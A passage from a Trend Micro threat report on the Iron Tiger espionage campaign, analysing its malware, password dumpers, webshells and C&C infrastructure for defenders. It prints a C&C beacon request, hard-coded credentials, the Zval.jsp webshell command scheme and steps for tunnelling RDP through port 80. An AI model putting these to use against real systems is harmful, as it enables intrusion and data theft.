8c8f12ae866c38931e19d67fadc19bd18aaf0865), which was compiled on 26 December 2014, drops a DLL(SHA-1: 5b638171811412b570ed500803ceca5ed85580ff), which was compiled 1 minute before ver.exe
was.
The DLL was dropped into %TEMP% then moved to %system%. Careful examination and comparison
with Gh0st’s code revealed that it was another derivative of the latter. NBDDOS is installed as a service
named “MediaCenter.” This can’t be used as an IoC, however, since it can be easily configured using thebuilder.

NBDDOS’s service name and description

NBDDOS’s installation function can be modified using a multi-strcat function, probably in an attempt toevade string-based detection. Its C&C server address can be extracted from a Web page or is hard-coded
in its binary.

Improved NBDDOS installation function

32 | Operation Iron Tiger

Two C&C server types supported by NBDDOSNBDDOS was configured to retrieve C&C server addresses from a single Web page—phpxss.lofter.com.
Lofter.com is a light blogging or social networking service. It also uses “phpxss” as account name.
If the Web page option is configured, the IP address and port number must be surrounded by a uniquemagic string, “$$$$$$$$$$$$.” Two magic strings accompany the C&C server string, which can help
serve as an IoC for other security investigators. Compared with the original Gh0st RAT, NBDDOS uses a
different encryption function.

Web page containing NBDDOS’s C&C server information

33 | Operation Iron Tiger

NBDDOS’s encryption function

NBDDOS also uses a special string, “Vip20141226,” where “20141226” can correspond to the binary’s
compilation date. We have no idea though what “Vip” represents. The only reference we found was inside
the controller, near the credentials.
An NBDDOS controller used in Iron Tiger (SHA-1: 396af3ae018a9e251a832cce8aae1bcaa11cdc05)
compiled on 8 December 2014 was named “hello.exe.”NBDDOS controller’s GUI

34 | Operation Iron Tiger

Most of the original Gh0st RAT’s functions havebeen removed from NBDDOS, except for the
remote control feature. Its builder supports the
C&C server types, namely:•

C&C information extracted from a Web pageor file•Use of DNS resolution•

Use of direct IP addresses

Two packers—UPX and FSG—are available
though users can also generate unpacked
malware. Malware service names can be easilychanged on infected systems via the sameinterface.
NBDDOS can easily be downloaded fromNBDDOS builder

Chinese underground forums.

A Chinese underground forum offering NBDDOS’s source code

GTalkTrojan
GTalkTrojan (SHA-1: 50d2fef4e680072441084053773350d9ba60cac6), which was compiled on 15
October 2012, has very few functions, including:•

Provides a remote shell•

Has a “getfile” feature for data exfiltration (Note that it can only send files from a victim’s computer
to a C&C server.)•Has a “settime” feature to set when infected systems should access C&C servers (default: 1 second)35 | Operation Iron Tiger

“Getfile” and “settime” functions of GTalkTrojan

To remain persistent, GTalkTrojan adds a RunOnce registry key, HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\. It then copies itself into c:\windows\
svchost.exe, creates a “cmd” command pipe, and accesses a C&C server—update.gtalklite.com—via port
8080.

GTalk Trojan adds the “vnet” registry key to remain persistent36 | Operation Iron Tiger

“Cmd” that GTalkTrojan creates

C&C server reference in GTalkTrojan

When a connection is established, GTalkTrojan sends the following information to a C&C server:
Computer=<COMPUTER NAME>[USERNAME]&lanip=<LAN IP ADDRESS>&uid=<UID>&os=<OPERATING SYSTEM> followed by command output

Network capture showing the data GTalkTrojan sends to a C&C server

37 | Operation Iron Tiger

Should a C&C server require authentication, the following credentials are hard-coded into the binary:
Username: idmservice
Password: D13idmAdm

GTalkTrojan uses the User-Agent, “HttpDump/1.0,” and sends out an MD5 hash as UID for SysDriveSerialNumber. It used the gtalklite.com domain in its compilation registration.

Registrant Contact:zhong meng [REDACTED]
sheng li [REDACTED][REDACTED]j @ 126 . com
tel: +86.[REDACTED]97837
fax: +86.[REDACTED]97837
he bei sheng he jian sha wa xiang xi liu wa cun
CNGTalkTrojan’s registration information

We found two other domains registered with the same information though they were not used in any
targeted attack operation that we know of.

HTTPBrowser
HTTPBrowser infects systems like PlugX does—via DLL side-loading. One version (SHA-1:
75f098d6b3f217aba4c068b12896c332216fc6b3) used in Iron Tiger employed a legitimate Kaspersky
binary named “setup.exe” to infect systems with a malicious DLL. When launched, setup.exe:•

Loads msi.dll via the DLL Hijacking technique•

Unencrypts and runs msi.dll in memory•

Copies itself into %ALLUSER%\Application Data\kav\•Creates the Run registry key, HKLM\Software\Microsoft\Current Version\Run, to remain
persistent•

Creates the suspended process, msiexec.exe [CnC IP] [CnC Port] 1•

Creates and runs a remote thread in the suspended process•

Unpacks msi.dll.url•

Replaces the original msiexec.exe image in memory with a malicious code•

Executes the malicious code

38 | Operation Iron Tiger

•

Accesses a C&C server and waits for commands

HTTPBrowser uses a specific technique to bypass User Access Control (UAC)9.
HTTPBrowser’s C&C server IP address and port information

HTTPBrowser accesses a C&C server with the IP address, 103.24.1.54, via port 443. This was hosted in
Hong Kong at the time this paper was written. It creates a unique GUID that is stored in config.ini on
infected systems. It then accesses a C&C server using the following HTTP GET request:
GET /loop?c=[computer]->[user]&l=[ip]&o=[os version]&u=[client id]&r=[injectmode]&t=[time stamp]
Host: REDACTEDConnection: Keep-Alive
User-Agent: HttpBrowser/1.0

HTTPBrowser has remote shell-creation, uploading and/or downloading, and file-listing functions, whichmake it a lightweight RAT that capable of executing more malicious commands or even exfiltrating data.
To the best of our knowledge, it is not available in underground forums or other publicly accessible sites.
It could have been created for the exclusive use in targeted attacks.

Old unpatched servers that can be found online are easy preyto any attacker.

File certificate abusers
Iron Tiger uses three tools signed with the certificates on the next page.

39 | Operation Iron Tiger

Iron Tiger uses this certificate signed on 22

Certificate’s validity information

November 2012

The certificate with serial number, 23 92 b8 b2 e1 d5 e9 27 c7 26 37 9b 45 d2 21 ce, valid from 15
September 2012 to 15 November 2014, was issued by Korea-based company, SoftCamp. It was signed
on 22 November 2012 and has been used for the Netcat (nc) binary, HTran’s packed version, and a
GSecDump binary.
It is not clear why the actors decided to sign files but not the malware at the same time and in the sameway. We have not seen any of the other file certificates they used. This could be because they did not needthem and found that their tools and malware were enough to stealthily move inside target networks.
Adding the legitimate file certificate to their arsenal made it easier for the attackers to laterally movethroughout networks and collect user credentials without getting noticed. Signed binaries are not often
monitored by security solutions.

More Iron Tiger tools

AspxSpy2014
AspxSpy is a publicly available WebShell. The version that Iron Tiger uses—AspxSpy2014—has been

40 | Operation Iron Tiger

slightly modified though to evade detection.
File name

SHA-1

Description

AspxSpy2014Final.aspx

c3f5d5d52890fe72bd2fc4c08aaf538da73016d7

AspxSpy2014—Main

PluginDeflater.exe

7875ec1ffad546476defe5ad3e87930e7fa7ba95

AspxSpy2014—Plug-in

SUEXPPlugin.dll

45ff712ae34512a9ac70060cec62a9b85f62804b AspxSpy2014—Plug-in

TestPlugin.dll

b9f67198ffa311aecb85e9914cdd96d99ecbdf3c

activedsimp.dll

b27277142f4b4f71a757630a730314daae9ecfeb AspxSpy2014—Plug-in

AspxSpy2014—Plug-in

More information on AspxSpy2014

PluginDeflater.exe is a tool used to compress AspxSpy’s plug-in DLLs. SUEXPPlugin.dll, meanwhile, isa local exploit plug-in for an old Serv-U FTP Server vulnerability. Finally, activedsimp.dll is an Active
Directory service AspxSpy plug-in.

Mimikatz, ZhuMimikatz, and Invoke-Mimikatz
We found several variants of the Mimikatz password dumper. While some were common versions(SHA-1: 3d3db9d8da0eba33444c73b6f85a4fd98a685055), others were not like ZhuMimikatz (SHA1: 4883376735f981386e473318482fadfe90edc670) and two Mimikatz PowerShell versions (SHA-1:
14a4b7cd0215a3d512f97d6ec4072a784f123527 and ab68576e3cf6bf8020cf15a83390ebf9d545389b).
These allowed Mimikatz to completely work in memory without leaving traces on the file system.

GSecDump
GSecDump is a free publicly available password dumper. It has been used for years by various threat
actors and legitimate security auditors alike. Nearly all threat actors slightly modified the GSecDump
binary to evade antivirus detection. All versions found are, in fact, detected on VirusTotal.

QuarksPwDump
Password dumper, QuarksPwDump or hashdump.exe (SHA-1:
3c6becafa9594601db64dc32c2c0384425a8fb5c, detected by Trend Micro as HKTL_PWDump), along with
its source code, are also publicly available for free on https://github.com/quarkslab/quarkspwdump.
The actors, however, compiled their own version in June 2012, a month after the release of the originalcode. This showed that they closely monitored such security tool updates.

41 | Operation Iron Tiger

GetPassword_x64
GetPassword_x64 (SHA-1:
71c11988a7a14e2257a91bcc5efa85520540aa5c,
detected by Trend Micro as HKTL_PWDump)
is a password dumper specifically for 64-bit
systems. It is also publicly available. It has thedebug string, “C:\Users\K8team\Desktop\
GetPassword\Debug x64\GetPassword.pdb,” inits binary that points to its developer, K8Team.

Sample output of GetPassword_x64.exe

ReadPWD86
ReadPWD86 is another publicly available password dumper for x86 systems (SHA-1:
65b77d8b1ffd63a343c28e978487bc38b9792c6f, detected by Trend Micro as HKTL_PWDump).

EFH3/1F
EFH3/1F is a command-line tool that encodes
files. It has a pretty straightforward purpose.

EFH3/1F’s output

NBTScan
NBTScan is a free publicly available tool that scans for open NETBIOS name servers on a local or remote
TCP/IP network. Its functionality is based on that of standard Windows tool, nbtstat, though it operates
on several addresses instead of just one.

42 | Operation Iron Tiger

NBTScan’s options

NetcatNetcat or nc.exe is a popular tool among network administrators and security auditors. It is often referred
to as the “Swiss Army knife” of network-related tools. It allows users to read and write data across TCP
or UDP network connections. While it is a very simple tool, it can do a lot of things, including opening aport and listening for connections, executing remote shells, and others. The nc.exe binary is signed with a
SoftCamp file certificate.

Nc.exe’s options

43 | Operation Iron Tiger

HTranHTran is very popular among Chinese threat actors. It is a network communication bouncer that allows
attackers to use compromised machines as pivot to access other unreachable systems, for one. We
found a packed and slightly modified (SHA-1: 9484bb1b1c0e39355a66b20fc361846ce1f063e0,detectedby Trend Micro as HKTL_HTRan) and an unpacked version (SHA-1:
0ad2796b1312af4db975a3978ede19e939e42846, also HKTL_HTRan) of this tool used in attacks. Bothwere named “websys.exe.” The packed HTran version was also signed with a SoftCamp file certificate.

HTran command-line tool

Unknown redirection toolkit
Though we could not identify this toolkit’s name, we found that it comprised netcat and two files—
drivers.exe (SHA-1: add6f880705b4aaf4b22b60dd67ca9034694550d, detected by Trend Micro as
HKTL_PORTCON) and ChangePort.exe (SHA-1: a346588c70751815bbb4c0922ea2c5e1ab9953db, also
HKTL_PORTCON). It is very rarely seen in targeted attack campaigns.
Attackers who want to access RDP 3389 via port 80 on an IIS server configured to only leave port 80
open can use this toolkit, among others. We saw attackers:•

Execute drivers.exe on the IIS server, which installs a Network Driver Interface Specification (NDIS)
driver•Run ChangePort.exe to map any port to port 3389 on the IIS server•

Execute nc.exe and access the target server via port 80•

When a connection has been established, send the special string, “Send chkroot2007,” and disconnect•

An RDP client can now be connected to a target system’s port 80 while all network traffic isredirected to port 3389

Because the attackers identified themselves by sending the special string, only their traffic is redirected.
Everyone else’s will be unaffected and stay on port 80.

44 | Operation Iron Tiger

Zval.jsp
Zval.jsp is not a standalone WebShell, it needs a client to run on compromised
servers. All commands are passed with the parameter, /[REDACTED].
jsp?[Password]=[Command]&z1=[Argument]&z2=[Argument]. The following commands can be used:•A

List drives•

J

Create directory•

B

List files in target directory•K

Set last modified time for file•C

Read file (ASCII mode)•

L

Download file from remote URL•

D

Write file (ASCII mode)•

M Execute shell command•

E

Delete file or directory•N

Get database information•

F

Download file (Binary mode)•O

List tables for specific database•

G

Upload file (Hex to Binary mode)•P

List columns for specific table•

H Copy file or directory•Q

Execute SQL command•

I

Rename file

This WebShell works with China Chopper.

HTTP/SOCKS Proxy
We also found a tool called “so.exe” (SHA-1: 3ea58b2ff30ee1053a4053c681042516cb57038e, detected byTrend Micro as HKTL_Proxy). It is a very basic HTTP/SOCKS proxy, which is a slightly modified versionof the publicly available SOCKS v4 && v5 && Http Proxy V2.0 by LZX.

Other tools
In addition to the above-mentioned tools, the actors also use legitimate tools, including:•

Local.exe from Microsoft’s Resource Kit, which enumerates the members of local groups on remote
servers or domains•

Microsft’s PsGetSid.exe, which allows users to translate SIDs into display names and vice versa•

Joeware.net’s GetUserinfo

We also found old exploits (CVE-2008-1436) for IIS 6 named “helloa.exe” (SHA-1:
126a5972a0f6b0a5b0a2b52d7d848e8a9824f562, detected by Trend Micro as HKTL_IISExploit) and“6.exe” (SHA-1: 856c3252fbc3d0e17d7d65cddff1ebbbab48496d, also HKTL_IISExploit).

45 | Operation Iron Tiger

Infrastructure
Iron Tiger’s C&C infrastructure included several compromised servers and the extensive use of BAIGE
VPN’s services.

Compromised C&C servers
Iron Tiger successfully compromised an Asian academic institution’s server to act as C&C server andstolen data drop zone for dnstunclient. It was also accessed by a PlugX variant through a subdomainof shangxian.info. We decided not to disclose this subdomain though since it can reveal the academic
institution’s name.
This server was poorly configured. It was also used by warez distributors, in addition to the actors. The
warez distributors used it to store videos for virtually anyone on the Internet. FTP access to it did not
require authentication. As such, anyone can use its various folders. One user even created a folder with afunny name just to show how poorly secured the server was.

Data collected from C&C servers
We were able to gather a lot of information from Iron Tiger’s main C&C server—the academic
institution’s compromised server.

Network connections made to C&C servers
Several network connections made via RDP were seen. This is not surprising, as the protocol is used toaccess remote computers from different geographical locations. The actors accessed the C&C server using
various IP addresses.
IP address

Computer nameLocation

114.88.206.132

YOUSISTE

China

211.62.158.22

YOUSISTE

Korea

180.150.226.27

YOUSISTE

Korea

67.198.244.74

YOUSISTE

USA

157.7.64.122

YOUSISTE

Japan

157.7.64.122

XM-ATTJapan

125.140.30.31

YOUSISTE

Korea

203.232.186.35

YOUSISTE

Korea

IP addresses that the actors use to access the C&C server

46 | Operation Iron Tiger

The computer name, “YOUSISTE,” frequently accessed the server, though we did not find useful
information on it. Interestingly, two different computers used the same IP address to access the C&C
server. An attacker could have used two computers to access the server or several attackers could haveused the same attack infrastructure.
We believe the RDP connections were aided by VPN services and/or compromised computers, making
the actors harder to track and find. A connection going to a Chinese IP address (116.233.12.114), which
was used as a data-exfiltration channel, was also seen.

Attackers’ local account
A single user account named “xss” was created on the C&C server (compromised Windows Server®
2003) on 14 September 2014. It used the password, “woshinidie,” which translates to “I am your father”
in Pinyin. Pinyin is the official phonetic system for transcribing Mandarin pronunciations of Chinesecharacters into the Latin alphabet. This password could be a funny reference to “Star Wars.”
The letters, “xss,” also seen in the Blogspot page (xssok), were again seen in reference to the C&C server.
The xss user account was used in the last quarter of 2014. It has not been used since. Instead, the realadministrator account was used.

Additional email accounts
Apart from the account used in spear-phishing campaigns, we saw the actors use additional email
accounts for various purposes. They had several email accounts, mostly for testing purposes, with“phpxss” or “testxss” from providers like Gmail™, Hotmail, AOL, and Yahoo!®.
The actors could be reporting to a different email address per victim. They, for instance, sent a list of
files from a compromised system to a specific email address, which indicated the progress made. It is notclear, however, if the receiver was a member of the group or a third party that provided expert services tolet attackers know which files were worth stealing.

Extensive use of BAIGE VPN’s services
Phpxss extensively used BAIGE VPN’s servers, which were mostly located in China (a little more than
500 different IP addresses). Some servers were located in the US, Canada, Hong Kong, Russia, Taiwan,
Japan, and South Korea.

47 | Operation Iron Tiger

China94.45%

United States

1.97%

Taiwan0.89%

Hong Kong

0.72%

Japan

0.72%

Korea

0.72%

Russia0.36%

Canada0.17%

Countries where BAIGE VPN servers were located

BAIGE VPN offers very affordable services. Its most expensive offering was a one-year subscription worth
130 Yuan (around €19). Its Windows client is pretty straightforward.

BAIGE VPN’s service prices

48 | Operation Iron Tiger

BAIGE VPN’s client GUI

While phpxss appears to use this service, it may not be the only one. To ensure anonymity, attackers
normally hid behind several layers or VPNs or proxies.

BAIGE VPN does not accept customers outside China. It
immediately filters out external connections via a registration
page.
Domain registration
Iron Tiger used several legitimate online services for its infrastructure but also employed registereddomains.

Shangxian.info
One of shangxian.info’s subdomains was configured to point to the main C&C server’s IP address. The
domain was registered by phpxss.
Interestingly, one user named “myershao” uses the exact same password as phpxss to create a local
account on a compromised machine. A familiar email address, [REDACTED]o @ live . cn, was also seen.

49 | Operation Iron Tiger

Pi.mai1.info
Pi.mai1.info was used in relation to two malware families at the same time—Gh0st and PlugX. These
served as file attachments in a spear-phishing campaign.
In one campaign, a .RAR file named “documentation.rar” contained a dropper (SHA-1:
3bcd90785ff5883bc460a74eca3bf9033a542335) of a Gh0st variant named “NWCWorkstationex.dll”(SHA-1: 96d6a67227a6d650ab8c5465cb4b091217e75a5f). NWCWorkstationex.dll could be an earlyversion of Ring RAT configured to steal .DOC, .TXT, and .PPT files.

Target file types hard-coded in the NWCWorkstationex.dll binary

Another archive seen contained a dropper (SHA-1: 11348a72a0864c6c455a535d5d7bde2997270266) ofa Poison Ivy variant (SHA-1: 6bcd525bb425dbb7fbc79dd6a605fac8f925b0cb) named “mspmsnsv.dll.”
Its configuration leaked the nickname, “2shao,” which we were not able to tie to a real person’s identity or
profile.
Mai1.info’s registration information has changed several times. It showed references to supposed
identities in Russia or the US at the time it was being actively used by malware. It had matching elements
tied to [REDACTED]o @ live . cn and Guo Fei.

Registrant Name: Guo Fei [REDACTED]
Registrant Organization:
Registrant Street1: He Nan Sheng Huo Jia XianRegistrant Street2:
Registrant Street3:
Registrant City: XinXiang
Registrant State/Province: HeNan
Registrant Postal Code: 0373
Registrant Country: CN
Registrant Phone: +86.[REDACTED]39262
Registrant Email: [REDACTED]o @ live . cn

Mai1.info’s registration information

50 | Operation Iron Tiger

Mitigation: Combating cyber espionage andtargeted attacks

Foreign spies in espionage films help their nations obtain competitive advantages over others by jumping
seemingly impossible hoops and hurdles. These days, spying happens in cyberspace where threat actors
are aided by either ready-made or customized tools and social engineering lures.
We saw cyberspies with digital roots in China target high-technology organizations from the US, but not
before spending years extracting information from targets in Asia-Pacific, including their own country.
Iron Tiger, which could be part of a larger campaign where actors are assigned specific targets to monitor,
particularly trailed its sights on obtaining defense-related information. It is believed to have stolen up toterabytes of data, given that an organization lost 58GB alone.
Targets face serious repercussions, given the sensitive nature of the data they keep. The data the actors
stole, after all, translates to years of invaluable government and corporate research and development(R&D) dollars.
For nation-states like the US and China, cyber espionage may not come as a surprise. Several campaigns
like Pawn Storm and Arid Viper have already taken advantage of the weakest links across industries togain counterintelligence or perform industrial espionage on perceived foes.
Questions with regard to threat mitigation remain. Thwarting cyber attacks should not rely on off-theshelf, traditional anti-malware solutions alone. Sensitive data requires custom defense and multilayer
protection that can’t be easily rendered useless by spear-phishing campaigns and malware attacks.
Organizations need to gather threat intelligence to combat cyber espionage and protect against targeted
attacks. They should operate under the assumption that their network has already been compromised.

51 | Operation Iron Tiger

References1.

CrowdStrike. (2013). “CrowdStrike Global Threat Report: 2013 Year in Review.” Last accessedon 14 September 2015, http://www.crowdstrike.com/wp-content/uploads/cs_downloads/
CrowdStrike_2013_Global_Threat_Intel_Report.pdf.

2. Dell SecureWorks. (5 August 2015). Dell SecureWorks. “Threat Group-3390 Targets Organizations
for Cyber Espionage.” Last accessed on 14 September 2015, http://www.secureworks.com/cyberthreat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/.
3. Feike Hacquebord. (18 August 2015). TrendLabs Security Intelligence Blog. “Pawn Storm’s Domestic
Spying Campaign Revealed; Ukraine and US Top Global Targets.” Last accessed on 9 September
2015, http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storms-domestic-spyingcampaign-revealed-ukraine-and-us-top-global-targets/.
4. China Vitae. (2003–2015). China Vitae. “Han Zheng 韩正.” Last accessed on 9 September 2015,
http://www.chinavitae.com/biography/Han_Zheng/summary.
5.

TrendLabs. (8 December 2014). Trend Micro Security News. “The Hack of Sony Pictures: What We
Know and What You Need to Know.” Last accessed on 9 September 2015, http://www.trendmicro.
com/vinfo/us/security/news/cyber-attacks/the-hack-of-sony-pictures-what-you-need-to-know.

6. Keith Tyler. (16 November 2012). Information on Security. “China Chopper WebShell—The 4KB
That Owns Your Web Server.” Last accessed on 10 September 2015, http://informationonsecurity.
blogspot.fr/2012/11/china-chopper-webshell.html.
7.

Ryan Angelo Certeza. (4 October 2012). Threat Encyclopedia. “Pulling the Plug on PlugX.” Last
accessed on 11 September 2015, http://www.trendmicro.com/vinfo/us/threat-encyclopedia/webattack/112/pulling-the-plug-on-plugx.

8. Jaime Blasco. (13 September 2012). The AlienVault Blogs: Taking On Today’s Threats. “Tracking
Down the Author of the PlugX RAT.” Last accessed on 11 September 2015, https://www.alienvault.
com/open-threat-exchange/blog/tracking-down-the-author-of-the-plugx-rat.
9. Leo Davidson. (2009). <<pretentious/name>>. “Windows 7 UAC Whitelist: Proof-of-Concept Source
Code.” Last accessed on 11 September 2015, http://www.pretentiousname.com/misc/W7E_Source/
Win7Elevate_Inject.cpp.html.

52 | Operation Iron Tiger

Created by:
The Global Technical Support and R&D Center of TREND MICROTREND MICROTM
Trend Micro Incorporated, a global cloud security leader, creates a world safe for exchanging digital information with its Internet content security and threat
management solutions for businesses and consumers. A pioneer in server security with over 20 years experience, we deliver topranked client, server, andcloud-based security that fits our customers’ and partners’ needs; stops new threats faster; and protects data in physical, virtualized, and cloud environments.
Powered by the Trend Micro™ Smart Protection Network™ infrastructure, our industry-leading cloud-computing security technology, products and services
stop threats where they emerge, on the Internet, and are supported by 1,000+ threat intelligence experts around the globe. For additional information, visit
www.trendmicro.com.

©2015 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks ofTrend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners.